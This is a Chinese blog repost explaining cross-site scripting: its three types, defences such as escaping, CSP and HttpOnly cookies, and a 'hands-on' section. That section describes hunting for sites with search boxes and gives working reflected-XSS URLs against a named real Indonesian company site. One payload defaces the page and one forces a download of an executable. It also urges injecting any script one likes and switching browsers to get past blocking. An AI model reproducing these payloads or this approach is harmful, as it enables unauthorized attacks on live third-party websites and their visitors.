zoukankan      html  css  js  c++  java
  • 【转载】常见的Web攻击手段之XSS攻击讲解及实战

    1 什么是XSS?

    XSS(Cross-Site Scripting,又称跨站脚本攻击)是一种代码注入攻击,攻击者是通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可能拥有更高的权限,可以获取用户的敏感信息,比如cookie,sessionID等 ,进而危害数据安全。

    1.1 根据攻击来源,XSS攻击可以分为三类:

    1. 存储型XSS

    • 攻击步骤:攻击者将恶意代码提交到目标网站的数据库中,用户打开网站是,网站服务端将恶意代码从数据库中取出,拼接在HTML中返回浏览器,之后用户浏览器收到响应后解析执行混入其中的恶意代码,恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户行为,调用目标网站接口执行攻击者指定的操作。
    • 常见于带有用户保存数据的网站功能,比如论坛发帖、商品评价、用户私信等等。

    2. 反射型XSS

    • 攻击步骤:攻击者构造出特殊的URL,其中包含恶意代码。当用户打开带有恶意代码的URL时,网站服务端将恶意代码从URL中取出,拼接在HTML中返回浏览器,之后用户浏览器收到响应后解析执行混入其中的恶意代码,恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户行为,调用目标网站接口执行攻击者指定的操作。
    • 常见于通过 URL 传递参数的功能,如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。
    • 反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

    3. DOM型XSS

    • 攻击步骤:攻击者构造出特殊的URL,其中包含恶意代码,用户打开带有恶意代码的URL,用户浏览器打开带有恶意代码的URL,之后用户浏览器收到响应后解析执行,前端JS取出URL中的恶意代码并执行,恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户行为,调用目标网站接口执行攻击者指定的操作。
    • DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

    2 预防XSS攻击

    防止 HTML 中出现注入;防止 JavaScript 执行时,执行恶意代码。

    1. 预防存储型和反射型 XSS 攻击:

    • 改成纯前端渲染,把代码和数据分隔开。
    • 对 HTML 做充分转义。

    2. 预防 DOM 型 XSS 攻击:

    • 在使用 .innerHTML、.outerHTML、document.write() 时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent、.setAttribute() 等。
    • 如果用 Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 阶段避免 innerHTML、outerHTML 的 XSS 隐患。

    3. 其他XSS攻击防范:

    • Content Security Policy(CSP)
    • 输入内容长度控制,增加XSS攻击的难度。
    • HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。
    • 验证码:防止脚本冒充用户提交危险操作。

    3 实战过程

    2.1 查找具有XSS漏洞的网站

    这里查找带有搜索框的网站,pencarian是印度尼西亚语"搜索"的意思

    2.2 挨个测试寻找可攻击网站

    我们拿第一个网站进行测试,搜索框输入<h1>TEST</h1>,如果可攻击,出现如下网页

    代表服务器对参数没有过滤,直接拼进了html,可进一步确认,右键鼠标,查看网页源代码

    显示<h1>TEST></h1>代表服务器没有进行过滤操作

    接着,返回,搜索框输入<script>alert('x');</script>,如果可攻击,出现如下网页

    2.3 url注入代码执行脚本(实践一)

    更改url为

    https://www.sankelux.co.id/search?keyword=<script>document.body.innerHTML="<div style:visibility:visible;><h1>THE SITE WAS HACKED</h1></div>"</script>
    复制代码

    也就是将keyword参数写成了一段脚本代码,执行效果如下

    2.4 url注入代码执行脚本(实践二)

    更改url为

    https://www.sankelux.co.id/search?keyword=<script>document.location="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe";</script>
    复制代码

    执行效果会自动下载putty.exe文件。

    可以将keyword更换成任意你想执行的脚本

    2.5 可能遇到的问题

    浏览器拦截,出现如下情况,更换浏览器即可



  • 相关阅读:
    小程序中template的用法
    小程序弹窗的几种形式
    js怎样截取以'-'分割的字符串
    js怎样截取字符串后几位以及截取字符串前几位
    局域网聊天软件项目小结(1)
    IPAddress类
    Combobox 成员添加
    tcpclient 类
    console.read()读入的内容
    技术带来的进步与退步---一点点反思
  • 原文地址:https://www.cnblogs.com/chaos-li/p/12068361.html
Copyright © 2011-2022 走看看